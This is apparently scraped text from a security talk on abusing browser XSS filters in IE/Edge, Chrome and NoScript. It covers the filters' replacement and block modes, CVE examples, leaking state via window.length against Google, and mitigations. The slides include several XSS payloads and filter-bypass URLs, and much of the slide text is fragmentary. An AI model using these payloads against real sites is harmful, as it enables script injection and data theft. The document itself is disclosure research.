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❶ ➌ ❷ ❹ Agenda

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XSS Filter? https://example.com/?q="> ">

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XSS Filter? https://example.com/?q="> ">

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Support https://addons.mozilla.org/ja/firefox/addon/noscript/

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How to Control HTTP/1.1 200 OK Date: Tue, 28 Mar 2017 06:16:00 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN

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X-XSS-Protection

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X-XSS-Protection

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How to control NoScript X-XSS-Protection

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Basic Behavior https://example.com/?q="> https://example.com/#5382863726995448701 "> ">

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Behavior of block mode

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Filter Mechanism of IE/Edge "> https://example.com/?q=">

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Filter Mechanism of XSS Auditor "> https://example.com/?q=">

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Filter Mechanism of NoScript https://example.com/?q="> https://example.com/#5382863726995448701

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False Positives and Filter <script> - Google Search (function(){window.google={kEI: [...] https://www.google.co.jp/search?q=<script>

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Filter's Risk if(jQuery){ // Expected }else{ // ??? } https://example.com/?

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ABUSING FILTER's Replacement Mode

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{} {

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Why "> happens [ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=. ">

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Why "> happens "> [\"\'][ ]*(([^a-z0- 9~_:\'\" ])|((i|(\\u0069))(n|(\\u006[Ee])) )).+?{\(}.*?{\)} x="";alert(1)//"

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XSS using XSS filter means:

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Past Discoveries https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU- 2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf http://d.hatena.ne.jp/teracc/20090622

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2015: Rediscoveries https://www.slideshare.net/masatokinugawa/xxn-en

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XXN Example [\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)) .+?[.].+?= q = "";document#body.innerHTML="<xss>"; URL: ?q=";document.body.innerHTML="

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XXN Example [\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> URL: ?"/++.+++=

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Mitigation for these attacks mode=block "style=:\ javascript:- vbscript:- vbs:- ",x[]= "{toString: "{valueOf: mode=block

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Strange fix

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^ is Safe? window#name// The execution is aborted by the syntax error window^name// valid syntax, it is executed as JavaScript window.name

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XXN using caret (CVE-2016-3212) url=location.search.slice(1); if(url^indexOf(":")!=-1){ url=null; } onload=function(){ if(url){location=url;} }

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ES6 and XXN https://example.com/?q=";alert`1`// q = "";alert`1`//"; https://www.slideshare.net/x00mario/es6-en/34 ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes, and everything else(by Mario Heiderich)

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XXN using back-tick characters (CVE-2016-7280) https://example.com/?q=${alert(1)}``//&`+++` https://example.com/?q=[USER_INPUT] foo=``; q="[USER_INPUT]"; foo=`#; q="${alert(1)}#`//";

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Now, the replacement behavior is safe? https://example.com/?+onfiles+++=. [...]

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Future replacement mode https://bugs.chromium.org/p/chromium/issues/detail?id=654794

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ABUSING FILTER's Block Mode

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Past found bugs in block mode http://blog.portswigger.net/2015/08/abusing-chromes-xss-auditor-to-steal.html window.length ✨

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Getting the filter state https://VICTIM/ https://VICTIM/? IFRAME ERROR https://ATTACKER/ win=window.open(…) if(win.length == 0){ //when filter works, //the number of frames is "0" }else{ //normal } …

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Mitigations in IE/Edge     

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Abusing block mode in Google https://www.youtube.com/watch?v=IMDWjKFbsJE

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Checking Google's Homepage HTTP/1.1 200 OK [...] Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN ✔ ✔ window.length

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Special Conditions(1) https://accounts.google.com/ServiceLogin?

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Special Conditions(2) google.ae google.as google.ca google.co google.co.in google.co.jp google.co.kr google.co.nz google.co.uk google.com.br google.com.mx google.de google.es google.fr google.it google.pl google.pt google.ru ...(

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✨ Bypassing attempts limitation ✨ ✨

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Another important thing {

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Investigating filter details 0 1 2 3 4 5 6 7 8 9 10 https://example.com/

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Investigating filter details 0 1 2 3 4 5 6 7 8 9 10

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Investigating filter details 0 1 2 3 4 5 6 7 8 9 10 https://example.com/?

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0x01-08 0x0E-1F !"$%'()*;=^`|~ 0x09-0D 0x20 + & > #,/:?[\]{} -.@_ A a 0x00 0-9 < B-Z b-z No reaction Result

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Result 0x01-08 0x0E-1F !"$%'()*;=^`|~ 0x09-0D 0x20 + & > #,/:?[\]{} -.@_ A a 0x00 0-9 < B-Z b-z No reaction

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The Target
[email protected]
{[\"\'`][ ]*(([^a-z0-9~_:\'\"` ])|(in)).+?{[.]}.+?=}

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Check Conditions ✔ ✔ ✔ ✔

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Organizing URL for attacks
[email protected]

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Getting the number of characters https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]=

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Getting the characters https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]=

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https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ca/?"[email protected]= ... Getting the characters

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✨ ✨ ✨

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After the fix

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Microsoft's Fix

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PROPER USAGE of XSS FILTER

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Recommendation of X-XSS-Protection

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0 is dangerous?   

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How should we do?  X-XSS- Protection     

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At the last: Rewards      

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